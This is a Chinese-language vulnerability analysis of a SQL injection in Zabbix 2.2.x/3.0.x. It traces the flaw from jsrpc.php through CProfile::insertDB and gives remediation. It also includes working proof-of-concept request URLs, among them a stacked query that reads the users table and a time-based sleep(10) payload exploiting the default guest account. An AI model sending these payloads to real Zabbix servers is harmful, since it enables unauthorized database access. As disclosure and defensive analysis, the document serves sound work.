Zabbix SQL注入漏洞分析及修复方案 - APT防御产品

Zabbix SQL注入漏洞分析及修复方案

文章来源:长亭科技


漏洞影响范围


凡使用Zabbix2.2.x、3.0.x 的网站(在3.0.4版本中已修复)可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等。


Zabbix简介


zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。


漏洞原理


该漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure

两人都在邮件中公开了 PoC,如下:

虽然是两个触发点,但注入流程和关键要点均为调用 CProfile 中的 insertDB 方法导致注入,所以可以归为同一类型的漏洞,Brandon Perry 也在邮件里指出

“I actually ended up finding this vuln in a different vector (in the profileIdx2 parameter)”

不过有区别的是,latest.php 在注入时需要一个高权限帐号,而 jsrpc.php 则只需要 guest 帐号。

由于 zabbix 默认开启 guest 且密码为空,所以利用难度较低,但绝不是其他文章中所说的不需要登录


注入流程

jsrpc.php:182→CScreenBuilder::getScreen()→CScreenBase::calculateTime()→CProfile::update()

→page_footer.php:40→CProfile::flush()→CProfile::insertDB()→DBexecute()

在漏洞文件jsrpc.php中:

$requestType = getRequest('type', PAGE_TYPE_JSON);

if ($requestType == PAGE_TYPE_JSON) {

$http_request = new CHttpRequest();

$json = new CJson();

$data = $json->decode($http_request->body(), true);

}

else {

$data = $_REQUEST;

}

$page['title'] = 'RPC';

$page['file'] = 'jsrpc.php';

$page['type'] = detect_page_type($requestType);

require_once dirname(__FILE__).'/include/page_header.php';

if (!is_array($data) || !isset($data['method'])

|| ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {

fatal_error('Wrong RPC call to JS RPC!');

}

$result = [];

switch ($data['method']) {

...

case 'screen.get':

$result = '';

$screenBase = CScreenBuilder::getScreen($data);

if ($screenBase !== null) {

$screen = $screenBase->get();

if ($data['mode'] == SCREEN_MODE_JS) {

$result = $screen;

}

else {

if (is_object($screen)) {

$result = $screen->toString();

}

}

}

break;

...

require_once dirname(__FILE__).'/include/page_footer.php';

通过类 CScreenBuilder 中的 getScreen 方法处理 $data 传入的数据。继续跟踪 CScreenBuilder 类:

/**

 * Init screen data.

 *

 * @param array $options

 * @param boolean $options['isFlickerfree']

 * @param string $options['pageFile']

 * @param int $options['mode']

 * @param int $options['timestamp']

 * @param int $options['hostid']

 * @param int $options['period']

 * @param int $options['stime']

 * @param string $options['profileIdx']

 * @param int $options['profileIdx2']

 * @param boolean $options['updateProfile']

 * @param array $options['screen']

 */

public function __construct(array $options = []) {

    $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;

    $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;

    $this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();

    $this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;

    // get page file

    if (!empty($options['pageFile'])) {

        $this->pageFile = $options['pageFile'];

    }

    else {

        global $page;

        $this->pageFile = $page['file'];

    }

    // get screen

    if (!empty($options['screen'])) {

        $this->screen = $options['screen'];

    }

    elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {

        $this->screen = API::Screen()->get([

            'screenids' => $options['screenid'],

            'output' => API_OUTPUT_EXTEND,

            'selectScreenItems' => API_OUTPUT_EXTEND,

            'editable' => ($this->mode == SCREEN_MODE_EDIT)

        ]);

        if (!empty($this->screen)) {

            $this->screen = reset($this->screen);

        }

        else {

            access_deny();

        }

    }

    // calculate time

    $this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';

    $this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;

    $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

    $this->timeline = CScreenBase::calculateTime([

        'profileIdx' => $this->profileIdx,

        'profileIdx2' => $this->profileIdx2,

        'updateProfile' => $this->updateProfile,

        'period' => !empty($options['period']) ? $options['period'] : null,

        'stime' => !empty($options['stime']) ? $options['stime'] : null

    ]);

}

CScreenBuilder 类对 $profiles 进行了更新,并且对 PoC 中的 profileIdx2 参数进行了赋值,但还没有传入数据库查询。

漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php会调用Cprofile 类:

if (CProfile::isModified()) {

DBstart();

$result = CProfile::flush();

DBend($result);

}

跟踪 flush 函数:  

public static function flush() {

    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {

        $result = true;

        foreach (self::$insert as $idx => $profile) {

            foreach ($profile as $idx2 => $data) {

                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);

            }

        }

        ksort(self::$update);

        foreach (self::$update as $idx => $profile) {

            ksort($profile);

            foreach ($profile as $idx2 => $data) {

                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);

            }

        }

    }

    return $result;

}

...

private static function insertDB($idx, $value, $type, $idx2) {

    $value_type = self::getFieldByType($type);

    $values = [

        'profileid' => get_dbid('profiles', 'profileid'),

        'userid' => self::$userDetails['userid'],

        'idx' => zbx_dbstr($idx),

        $value_type => zbx_dbstr($value),

        'type' => $type,

        'idx2' => $idx2

    ];

//注入触发点

    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');

}

至此,SQL注入产生


验证PoCPoc仅供学习交流使用,请勿恶意使用


需要高权限用户


/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1


需要guest用户


/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1


然而  Brandon Perry  给出的这个 PoC 并不好用,在关闭 display_errors 的环境下看不到效果,建议使用一个 sleep 函数,如果页面阻塞很久才返回,那说明漏洞是存在的,新的 PoC 如下:  

/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1


修复方案


升级到3.0.4

patch link: [https://support.zabbix.com/browse/ZBX-11023](https://support.zabbix.com/browse/ZBX-11023)

过滤参数

使用 intval 函数过滤 CProfile::insertDB 中的 $idx2 变量。

关闭guest用户功能(仅为临时解决方案)。


参考来源

http://seclists.org/fulldisclosure/2016/Aug/60

http://seclists.org/fulldisclosure/2016/Aug/79

http://www.cnbraid.com/2016/08/18/zabbix303/


转载请注明出处 APT防御产品 » Zabbix SQL注入漏洞分析及修复方案

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址